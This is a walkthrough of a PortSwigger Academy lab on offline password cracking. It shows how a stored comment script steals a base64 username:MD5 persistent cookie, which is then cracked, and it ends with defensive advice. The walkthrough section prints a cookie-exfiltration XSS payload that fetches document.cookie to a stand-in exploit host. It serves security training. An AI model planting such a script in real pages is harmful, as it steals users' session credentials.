Authorization disclaimer. This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.
Overview
An injection point exposes a victim persistent-login cookie, which can then be analyzed away from the application to recover a weak password.

Lab objective/setup
The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.
What I observed
A stored comment script can read the non-HttpOnly persistent cookie. The captured value decodes to carlos:[md5-digest]; the unsalted digest cracks to onceuponatime without further login requests.

![Base64 decoding the cookie produces `wiener:[md5-digest]`, revealing the username-and-hash structure.](/images/portswigger/authentication/lab-offline-password-cracking/step-3.png)

Why it is vulnerable
Credential-derived persistent tokens allow offline verification and remain dangerous even when the online login endpoint is rate-limited.
Walkthrough in the authorized PortSwigger lab
Post the cookie-exfiltration script in the lab comment form, read Carlos’s value from the exploit-server log, Base64-decode it, and crack the MD5 component. Sign in with carlos:onceuponatime and use the lab’s delete-account control.
1 | <script>fetch("https://EXPLOIT/?c="+document.cookie)</script> |


![Decoding the captured value yields `carlos:[md5-digest]`, separating the victim username from the crackable digest.](/images/portswigger/authentication/lab-offline-password-cracking/step-7.png)

Verification
The final capture shows the Academy marking the offline password cracking exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.

Impact and defensive lesson
Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.